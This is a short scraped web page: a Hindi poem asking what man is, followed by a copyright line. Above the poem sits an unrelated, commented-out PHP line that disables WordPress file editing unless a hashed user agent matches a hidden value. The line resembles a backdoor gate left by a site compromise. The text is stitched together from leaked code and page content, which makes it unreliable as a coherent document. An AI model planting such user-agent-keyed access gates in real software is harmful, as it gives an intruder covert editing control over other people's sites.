//if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ // define('DISALLOW_FILE_MODS', true); // define('DISALLOW_FILE_EDIT', true); }
मानव क्या है ? बस मानव है – बोल गए पितर , समझ सका न कथन यह उनका मैं तो रत्ती-भर। सोचूं, बहुत चतुर थे उनकी बुनती समझ ना आई , उस बुनती के और अधिक उलझा बैठा वह ‘घर’ ||
Copyright Kvmtrust.Com